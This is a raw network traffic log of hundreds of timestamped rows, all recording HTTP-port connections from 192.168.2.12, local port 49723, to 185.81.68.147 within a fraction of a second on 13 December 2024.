Dec 13, 2024 07:49:26.344394922 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.344448090 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.344448090 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.344495058 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.344496012 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.344546080 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.344546080 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.344582081 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.344604969 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.344645977 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.344645977 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.344690084 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.344698906 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.344739914 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.344775915 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.344775915 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.344827890 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.344827890 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.344880104 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.344880104 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.344918013 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.344938993 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.344980001 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.344980001 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.345010042 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.345053911 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.345053911 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.345082045 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.345112085 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.345160961 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.345160961 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.345222950 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.345222950 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.345274925 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.345274925 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.345312119 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.345352888 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.345352888 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.345403910 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.345403910 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.345446110 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.345460892 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.345508099 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.345508099 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.345556974 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.345557928 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.345593929 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.345635891 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.345635891 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.345694065 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.345694065 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.345743895 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.345743895 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.345772028 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.345823050 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.345823050 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.345875978 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.345875978 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.345922947 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.345922947 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.345974922 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.345974922 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.346028090 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.346028090 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.346082926 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.346082926 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.346134901 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.346134901 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.346174955 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.346185923 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.346234083 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.346234083 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.346282959 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.346282959 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.346337080 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.346337080 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.346366882 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.346410036 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.346410036 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.346463919 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.346463919 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.346550941 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.346579075 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.346630096 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.346630096 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.346656084 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.346704960 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.346704960 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.346744061 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.346781969 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.346781969 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.346817017 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.346863031 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.346863031 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.346894979 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.346939087 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.346939087 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.346992016 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.346992016 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.347040892 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.347040892 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.347069979 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.347119093 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.347119093 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.347150087 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.347189903 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.347203016 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.347245932 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.347245932 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.347296953 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.347296953 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.347332954 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.347443104 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.347443104 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.347443104 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.347443104 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.347481012 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.347481012 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.347513914 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.347557068 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.347557068 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.347605944 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.347605944 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.347642899 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.347681046 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.347681046 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.347726107 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.347757101 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.347757101 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.347779989 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.347824097 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.347824097 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.347876072 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.347876072 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.347923040 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.347923040 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.347954035 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.348001003 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.348001003 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.348030090 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.348054886 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.348079920 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.348124981 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.348124981 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.348176003 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.348176003 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.348225117 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.348225117 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.348262072 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.348304987 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.348304987 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.348337889 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.348373890 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.348373890 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.348423004 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.348423004 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.348473072 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.348473072 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.348521948 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.348521948 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.348573923 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.348573923 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.348623037 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.348623037 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.348650932 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.348699093 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.348699093 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.348748922 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.348748922 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.348795891 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.348795891 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.348845959 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.348845959 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.348898888 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.348898888 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.348927021 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.348959923 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.348985910 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.349019051 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.349019051 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.349075079 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.349075079 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.349117041 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.349117041 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.349145889 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.349174023 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.349200964 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.349246979 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.349246979 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.349298954 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.349298954 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.349330902 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.349359035 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.349375963 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.349402905 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.349416018 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.349462986 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.349462986 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.349505901 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.349543095 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.349543095 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.349569082 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.349595070 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.349625111 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.349648952 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.349674940 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.349714994 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.349714994 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.349742889 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.349792004 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.349792004 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.349822044 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.349848032 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.349888086 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.349888086 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.349915981 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.349956036 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.349989891 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.349989891 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.350038052 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.350038052 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.350060940 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.350106001 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.350114107 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.350157022 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.350157022 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.350203037 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.350203991 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.350254059 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.350254059 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.350305080 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.350305080 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.350354910 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.350354910 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.350402117 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.350402117 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.350450993 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.350450993 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.350497961 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.350497961 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.350544930 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.350544930 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.350595951 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.350595951 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.350646019 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.350646019 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.350696087 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.350696087 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.350747108 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.350747108 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.350792885 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.350792885 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.350841045 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.350841045 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.350888968 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.350888968 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.350936890 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.350936890 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.350989103 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.350989103 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.351021051 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.351042032 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.351087093 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.351087093 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.351140022 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.351140022 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.351172924 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.351213932 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.351213932 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.351264000 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.351264000 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.351317883 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.351319075 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.351337910 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.351382971 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.351382971 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.351419926 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.351458073 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.351458073 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.351506948 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.351506948 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.351557970 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.351557970 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.351605892 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.351605892 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.351655006 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.351655006 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.351705074 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.351705074 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.351754904 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.351754904 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.351778984 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.351824045 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.351824045 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.351861000 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.351878881 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.351924896 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.351924896 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.351973057 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.351973057 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.352020979 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.352020979 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.352056980 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.352083921 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.352097034 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.352138042 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.352166891 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.352166891 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.352226019 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.352226019 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.352269888 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.352269888 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.352315903 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.352315903 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.352364063 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.352364063 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.352413893 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.352413893 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.352466106 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.352466106 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.352514029 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.352514029 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.352567911 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.352567911 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.352615118 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.352615118 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.352663040 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.352663040 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.352710962 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.352710962 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.352756977 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.352756977 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.352807999 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.352807999 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.352855921 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.352855921 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.352894068 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.352961063 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.352961063 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.353013992 CET	49723	80	192.168.2.12	185.81.68.147
